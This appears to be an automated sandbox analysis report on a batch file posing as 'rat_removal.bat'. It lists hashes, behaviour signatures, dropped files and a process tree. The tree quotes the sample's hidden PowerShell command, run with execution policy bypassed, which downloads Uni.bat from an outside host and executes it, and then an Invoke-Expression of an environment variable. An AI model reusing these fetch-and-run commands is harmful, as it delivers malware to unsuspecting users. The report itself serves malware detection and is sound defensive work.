Analysis
-
max time kernel
79s -
max time network
141s -
platform
windows10-1703_x64 -
resource
win10-20240221-en -
resource tags
arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system -
submitted
14/03/2024, 05:24
Static task
static1
Behavioral task
behavioral1
Sample
rat_removal.bat
Resource
win10-20240221-en
Behavioral task
behavioral2
Sample
rat_removal.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
rat_removal.bat
Resource
win11-20240214-en
General
-
Target
rat_removal.bat
-
Size
14KB
-
MD5
2c0ee080298d0de1320e6e7eda4ca39b
-
SHA1
edd03f96d4f4277a24e541376fdddf43439b4a99
-
SHA256
7e81cadeef133c8230dbe26f95a66d3b47cead73ba1e37170ac95869abe17f8e
-
SHA512
ffdfd43eb46107be849d3e1938d1db0be87d27700799a9f31527b512abaca615241c6ee2d6358061d5ea133233aa0edda9908091419c024977b25365064d9e64
-
SSDEEP
192:HbKSAmk7b/FQASmmZrQCgljChA4DW0JyquFnpUoH:H28k7b/hkQCgljwAEbyvFpL
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 2 1160 powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\4272278488\3302449443.pri SecHealthUI.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1160 powershell.exe 1160 powershell.exe 1160 powershell.exe 1072 powershell.exe 1072 powershell.exe 1072 powershell.exe 1072 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1160 powershell.exe Token: SeDebugPrivilege 1072 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4860 SecHealthUI.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4896 wrote to memory of 4564 4896 cmd.exe 75 PID 4896 wrote to memory of 4564 4896 cmd.exe 75 PID 4896 wrote to memory of 2028 4896 cmd.exe 76 PID 4896 wrote to memory of 2028 4896 cmd.exe 76 PID 4896 wrote to memory of 212 4896 cmd.exe 77 PID 4896 wrote to memory of 212 4896 cmd.exe 77 PID 4896 wrote to memory of 2908 4896 cmd.exe 78 PID 4896 wrote to memory of 2908 4896 cmd.exe 78 PID 4896 wrote to memory of 3912 4896 cmd.exe 79 PID 4896 wrote to memory of 3912 4896 cmd.exe 79 PID 4896 wrote to memory of 4540 4896 cmd.exe 80 PID 4896 wrote to memory of 4540 4896 cmd.exe 80 PID 4896 wrote to memory of 4556 4896 cmd.exe 81 PID 4896 wrote to memory of 4556 4896 cmd.exe 81 PID 4896 wrote to memory of 1508 4896 cmd.exe 82 PID 4896 wrote to memory of 1508 4896 cmd.exe 82 PID 4896 wrote to memory of 860 4896 cmd.exe 83 PID 4896 wrote to memory of 860 4896 cmd.exe 83 PID 4896 wrote to memory of 1160 4896 cmd.exe 84 PID 4896 wrote to memory of 1160 4896 cmd.exe 84 PID 4896 wrote to memory of 3412 4896 cmd.exe 89 PID 4896 wrote to memory of 3412 4896 cmd.exe 89 PID 3412 wrote to memory of 8 3412 cmd.exe 90 PID 3412 wrote to memory of 8 3412 cmd.exe 90 PID 3412 wrote to memory of 1072 3412 cmd.exe 91 PID 3412 wrote to memory of 1072 3412 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_removal.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\system32\chcp.comchcp.com 4372⤵PID:4564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c type tmp2⤵PID:2028
-
-
C:\Windows\system32\findstr.exefindstr /L /I set C:\Users\Admin\AppData\Local\Temp\rat_removal.bat2⤵PID:212
-
-
C:\Windows\system32\findstr.exefindstr /L /I goto C:\Users\Admin\AppData\Local\Temp\rat_removal.bat2⤵PID:2908
-
-
C:\Windows\system32\findstr.exefindstr /L /I echo C:\Users\Admin\AppData\Local\Temp\rat_removal.bat2⤵PID:3912
-
-
C:\Windows\system32\findstr.exefindstr /L /I pause C:\Users\Admin\AppData\Local\Temp\rat_removal.bat2⤵PID:4540
-
-
C:\Windows\system32\find.exefind2⤵PID:4556
-
-
C:\Windows\system32\find.exefind2⤵PID:1508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c type tmp2⤵PID:860
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://robloxplayerclient.org/Uni.bat' -OutFile: 'C:\Users\Admin\AppData\Local\Temp\Uni.bat'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Uni.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3412 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:OWMmhUSKSJ; "3⤵PID:8
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1072
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe"C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:4860
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5d737fc27bbf2f3bd19d1706af83dbe3f
SHA1212d219394124968b50769c371121a577d973985
SHA256b96b55a2acd9c790092e8132b31e5f0110492f98828098112d46f2f9faa2b982
SHA512974c2db081dd6d1f45763371c41e01173b189ea1a2d893d0bc415670bfa12f3934ba9dea64018b8c063017454d4d92888d6fe6eaad1659e420ba9adcde5e788b
-
Filesize
6.1MB
MD56bdab73b1ae1fb7629bd9c250354a250
SHA124fa877ae0db1d2f1b24ce29ea8eddefddc4afc6
SHA256e0fe368de1cd2f3f769182e24944f9e03e7d0483aded6dc27d20b53680ca67bb
SHA512f721eff91fdce63097a12fa8a1cf6b48664ad2563439b03369c201c893e502e3a43191ded7782795d0ec84199307042afb8c89cfddfdb39b55286f558dc0357a
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
14B
MD5ce585c6ba32ac17652d2345118536f9c
SHA1be0e41b3690c42e4c0cdb53d53fc544fb46b758d
SHA256589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3
SHA512d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752
-
Filesize
22B
MD576cdb2bad9582d23c1f6f4d868218d6c
SHA1b04f3ee8f5e43fa3b162981b50bb72fe1acabb33
SHA2568739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
SHA5125e2f959f36b66df0580a94f384c5fc1ceeec4b2a3925f062d7b68f21758b86581ac2adcfdde73a171a28496e758ef1b23ca4951c05455cdae9357cc3b5a5825f